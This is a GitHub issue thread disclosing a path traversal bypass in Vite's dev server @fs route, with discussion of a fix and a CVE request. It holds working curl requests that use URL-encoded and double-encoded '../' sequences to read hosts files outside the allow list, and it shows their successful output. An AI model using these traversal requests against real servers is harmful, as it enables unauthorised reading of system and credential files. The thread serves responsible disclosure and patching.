Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unrestricted directory traversal with @fs (Bypass) #8498

Closed
7 tasks done
stypr opened this issue Jun 8, 2022 · 4 comments · Fixed by #8804 or #8979
Closed
7 tasks done

Unrestricted directory traversal with @fs (Bypass) #8498

stypr opened this issue Jun 8, 2022 · 4 comments · Fixed by #8804 or #8979
Labels
bug Something isn't working p5-urgent 🔥 Fix build-breaking bugs affecting most users, should be released ASAP (priority) security

Comments

@stypr
Copy link

stypr commented Jun 8, 2022

Describe the bug

The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.

Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.

For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/../../ internally.

Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.

Reproduction

Any vite project is affected by this vulnerability.

npm init @vitejs/app app
cd app
npm install
npm run dev

Reproduction in Windows

Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts"
*   Trying ::1:3001...
*   Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Access-Control-Allow-Origin: *
< Date: Wed, 08 Jun 2022 04:00:32 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< Transfer-Encoding: chunked
<

    <body>
      <h1>403 Restricted</h1>
      <p>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/>- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
      <style>
        body {
          padding: 1em 2em;
        }
      </style>
    </body>
  * Connection #0 to host localhost left intact
  * 

What if we access like C:/Users/stypr/Desktop/development/q/vite-project/../../../../../../Windows/System32/drivers/etc/hosts? In typical cases, this doesn't work

However, if we replace the path ../ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.

$ curl --path-as-is -v "http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts"
*   Trying ::1:3001...
*   Trying 127.0.0.1:3001...
* Connected to localhost (127.0.0.1) port 3001 (#0)
> GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1
> Host: localhost:3001
> User-Agent: curl/7.75.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 824
< Content-Type:
< Last-Modified: Tue, 31 May 2022 03:15:34 GMT
< ETag: W/"824-1653966934106"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 03:53:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
*a Connection #0 to host localhost left intact

Reproduction in Linux

Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/...), and then do a path traversal based on the given whitelist.

curl -v --path-as-is "http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts"
*   Trying 192.168.125.129:3000...
* TCP_NODELAY set
* Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0)
> GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1
> Host: 192.168.125.129:3000
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Length: 221
< Content-Type: 
< Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT
< ETag: W/"221-1593510111311"
< Cache-Control: no-cache
< Date: Wed, 08 Jun 2022 04:09:49 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
127.0.0.1	localhost
127.0.1.1	ubuntu

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
* Connection #0 to host 192.168.125.129 left intact

System Info

Windows

  System:
    OS: Windows 10 10.0.19044
    CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 33.13 GB / 63.93 GB
  Binaries:
    Node: 16.13.2 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.10 - ~\AppData\Roaming\npm\yarn.CMD
    npm: 8.1.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)    
    Internet Explorer: 11.0.19041.1566
  npmPackages:
    @vitejs/plugin-vue: ^2.3.3 => 2.3.3
    vite: ^2.9.9 => 2.9.10

Linux

  System:
    OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
    CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 12.21 GB / 15.59 GB
    Container: Yes
    Shell: 5.0.17 - /bin/bash
  Binaries:
    Node: 14.18.3 - /usr/bin/node
    Yarn: 1.22.10 - /usr/bin/yarn
    npm: 6.14.15 - /usr/bin/npm
  Browsers:
    Chrome: 97.0.4692.99
    Firefox: 100.0.2

Used Package Manager

npm

Validations

@stypr stypr changed the title Unrestricted directory traversal with @fs (Bypass) Unrestricted directory traversal with @fs (Bypass) Jun 8, 2022
@jonsoku2
Copy link

jonsoku2 commented Jun 8, 2022

Good

@stypr
Copy link
Author

stypr commented Jun 27, 2022

@patak-dev

Do you guys have plans to add security advisory for this?
If not, I'm planning to request a CVE for this issue.

@patak-dev
Copy link
Member

patak-dev commented Jun 27, 2022

@stypr we think that a CVE is the best here, as we don't have another way to reach everybody. Please move ahead with the request, and thanks for the report.

Timeline:

Users should avoid using exposing the network (as with --host) in <2.9.12, the issue is still there by default, but only through localhost so it is less problematic.

vite@3.0.0-beta.4 also includes the fix

@stypr
Copy link
Author

stypr commented Jun 29, 2022

@patak-dev

I checked it sometime today and I think it's still* possible to bypass with the latest version...
I think there has to be some alternative way to filter this with a different strategy. decodeURI doesn't seem to be a good solution. Tested on 2.9.13

%252e.%2f eventually becomes %2e./, so the path traversal seems to work again.

image

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
bug Something isn't working p5-urgent 🔥 Fix build-breaking bugs affecting most users, should be released ASAP (priority) security
Projects
None yet
4 participants